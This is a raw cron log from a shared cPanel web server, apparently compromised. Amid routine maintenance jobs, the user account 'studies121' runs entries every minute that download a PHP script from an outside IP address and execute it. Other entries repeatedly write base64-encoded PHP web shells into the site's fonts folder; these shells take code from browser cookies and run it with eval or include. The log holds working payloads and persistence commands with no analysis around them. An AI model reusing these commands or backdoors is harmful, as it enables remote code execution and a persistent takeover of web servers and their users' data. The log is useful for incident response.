Sep  8 01:34:01 ip-184-168-122-23 CROND[18310]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:35:01 ip-184-168-122-23 CROND[18492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:35:01 ip-184-168-122-23 CROND[18499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:35:01 ip-184-168-122-23 CROND[18494]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 01:35:01 ip-184-168-122-23 CROND[18496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:35:01 ip-184-168-122-23 CROND[18497]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 01:35:01 ip-184-168-122-23 CROND[18498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:35:01 ip-184-168-122-23 CROND[18500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:35:01 ip-184-168-122-23 CROND[18495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:36:01 ip-184-168-122-23 CROND[18595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:36:01 ip-184-168-122-23 CROND[18596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:36:01 ip-184-168-122-23 CROND[18597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:36:01 ip-184-168-122-23 CROND[18599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:36:01 ip-184-168-122-23 CROND[18598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:37:02 ip-184-168-122-23 CROND[18752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:37:02 ip-184-168-122-23 CROND[18753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:37:02 ip-184-168-122-23 CROND[18754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:37:02 ip-184-168-122-23 CROND[18755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:38:01 ip-184-168-122-23 CROND[18831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:38:01 ip-184-168-122-23 CROND[18833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:38:01 ip-184-168-122-23 CROND[18834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:38:01 ip-184-168-122-23 CROND[18835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:38:01 ip-184-168-122-23 CROND[18832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:39:01 ip-184-168-122-23 CROND[18932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:39:01 ip-184-168-122-23 CROND[18934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:39:01 ip-184-168-122-23 CROND[18937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:39:01 ip-184-168-122-23 CROND[18936]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 01:39:01 ip-184-168-122-23 CROND[18939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:40:01 ip-184-168-122-23 CROND[19103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:40:01 ip-184-168-122-23 CROND[19105]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:40:01 ip-184-168-122-23 CROND[19110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:40:01 ip-184-168-122-23 CROND[19109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:40:01 ip-184-168-122-23 CROND[19106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:40:01 ip-184-168-122-23 CROND[19107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:40:01 ip-184-168-122-23 CROND[19111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:40:01 ip-184-168-122-23 CROND[19112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:41:01 ip-184-168-122-23 CROND[19200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:41:01 ip-184-168-122-23 CROND[19203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:41:01 ip-184-168-122-23 CROND[19202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:41:01 ip-184-168-122-23 CROND[19201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:42:01 ip-184-168-122-23 CROND[19281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:42:01 ip-184-168-122-23 CROND[19283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:42:01 ip-184-168-122-23 CROND[19284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:42:01 ip-184-168-122-23 CROND[19285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:42:01 ip-184-168-122-23 CROND[19286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:43:02 ip-184-168-122-23 CROND[19374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:43:02 ip-184-168-122-23 CROND[19373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:43:02 ip-184-168-122-23 CROND[19375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:43:02 ip-184-168-122-23 CROND[19376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:44:01 ip-184-168-122-23 CROND[19449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:44:01 ip-184-168-122-23 CROND[19450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:44:01 ip-184-168-122-23 CROND[19453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:44:01 ip-184-168-122-23 CROND[19451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:44:01 ip-184-168-122-23 CROND[19452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:45:01 ip-184-168-122-23 CROND[19540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:45:01 ip-184-168-122-23 CROND[19543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:45:01 ip-184-168-122-23 CROND[19542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:45:01 ip-184-168-122-23 CROND[19545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:45:01 ip-184-168-122-23 CROND[19546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:45:01 ip-184-168-122-23 CROND[19544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:46:01 ip-184-168-122-23 CROND[19661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:46:01 ip-184-168-122-23 CROND[19663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:46:01 ip-184-168-122-23 CROND[19662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:46:01 ip-184-168-122-23 CROND[19666]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 01:46:01 ip-184-168-122-23 CROND[19665]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 01:46:01 ip-184-168-122-23 CROND[19667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
